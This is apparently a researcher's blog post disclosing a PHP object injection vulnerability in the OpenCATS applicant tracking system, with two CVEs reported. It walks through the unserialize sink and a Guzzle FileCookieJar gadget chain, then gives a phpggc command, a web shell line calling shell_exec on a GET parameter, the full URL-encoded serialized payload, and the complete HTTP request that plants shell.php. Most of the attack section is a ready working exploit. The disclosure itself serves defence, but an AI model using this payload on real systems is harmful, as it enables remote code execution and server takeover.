Home OpenCATS PHP Object Injection to Arbitrary File Write
Post
Cancel

OpenCATS PHP Object Injection to Arbitrary File Write

Introduction

OpenCATS is an application tracking system that is written in PHP. More about OpenCATS can be seen here: https://www.opencats.org/. OpenCATS is vulnerable to PHP Object injection, by leveraging this vulnerability, it is possible to conduct arbitrary file write and execute arbitrary code on a system.

Technical Details

OpenCATS has an activity area to keep track of activities.

The following request is being sent to the application as part of a normal application workflow.

The parametersactivity:ActivityDataGrid parameter is sending serialized data as seen below which is being deserialized by the application using the unserialize function.

1
a:9:{s:10:"rangeStart";i:0;s:10:"maxResults";i:15;s:13:"filterVisible";b:0;s:9:"startDate";s:0:"";s:7:"endDate";s:0:"";s:6:"period";s:37:"DATE_SUB(CURDATE(), INTERVAL 1 MONTH)";s:6:"sortBy";s:15:"dateCreatedSort";s:13:"sortDirection";s:4:"DESC";s:11:"filterAlpha";s:1:"L";}

The unserialize function can be seen in DataGrid.php

1
https://github.com/opencats/OpenCATS/blob/develop/lib/DataGrid.php#L272

To exploit with vulnerability, a POP gadget chain can be created using guzzlehttp. A __destruct magic method available within /var/www/public/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php can be leveraged to write arbitrary files to the system.

The relevant code that needs to be triggered can be seen below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  public function __destruct()
    {
        $this->save($this->filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

In the above example, the destruct() magic method calls the save() method on the FileCookieJar class. The save method take a value called filename which is a property of an object, The contents of th is file comes from the $json array which get the value from $cookie->toArray(), and $cookie being an object.

Multiple checks are also done to ensure that $cookie->getExpires() returns true and $cookie->getDiscard() returns false. After these checks, The $json array is then json encoded and written to a file using the file_put_contents function.

This is an already known gadget found by cf which is available within Guzzle versions 6.0.0 <= 6.3.3+

phpggc can be used to generate a serialized exploit payload for this gadget

A payload such as <?php echo shell_exec($_GET['e'].' 2>&1'); ?> can now be used with phpggc to generate a serialized gadget chain which will store shell.php within /var/www/public/shell.php of the target OpenCAT system.

1
2
💻  📂  🍣 master ❯ ./phpggc -u --fast-destruct Guzzle/FW1 /var/www/public/shell.php  /tmp/shell.php 
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D

The request with the payload can now be sent.

1
2
3
4
5
6
7
8
9
10
GET /index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fvar%2Fwww%2Fpublic%2Fshell.php%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A45%3A%22%3C%3Fphp+echo+shell_exec%28%24_GET%5B%27e%27%5D.%27+2%3E%261%27%29%3B+%3F%3E%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D HTTP/1.12
Host: dvws.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://dvws.local/index.php?m=activity
Cookie: _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2MDkzNjMwNTYsInB0ZyI6eyJjbWY6c2ciOnsiODYwIjoxLCIxMDA3IjoxfSwiX2MiOjE2MDkzNTgwMjEsIl91IjoxNjA5MzU5MzI3fSwiZXhwIjoxNjQwODk5MDU2fQ.OFq8osGBuTAJUengo4LZey2wBuonlgwGBvwJ327pHbQ; _pc_vis=da58a38788948fae; _ga=GA1.2.1963052574.1609358122; sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; Users_divs=Users_aclroles_v%3Dtrue%23undefined%3D%23; ProspectLists_divs=ProspectLists_contacts_v%3Dtrue%23undefined%3D%23ProspectLists_prospects_v%3Dtrue%23; CATS=0cf6e6265f75d23a9abbcf8d70091118
Upgrade-Insecure-Requests: 1

The shell.php can now be leveraged to execute arbitrary code.

Note: Multiple other areas within OpenCATs are also taking deserialized user input which can be leveraged for the same vulnerability. Also, Multiple Cross-site Scripting (XSS) issues also exist on this codebase.

I’ve opened a GitHub issue to report this issue and CVE has assigned two CVEs as well: CVE-2021-25294 and CVE-2021-25295

This post is licensed under CC BY 4.0 by the author.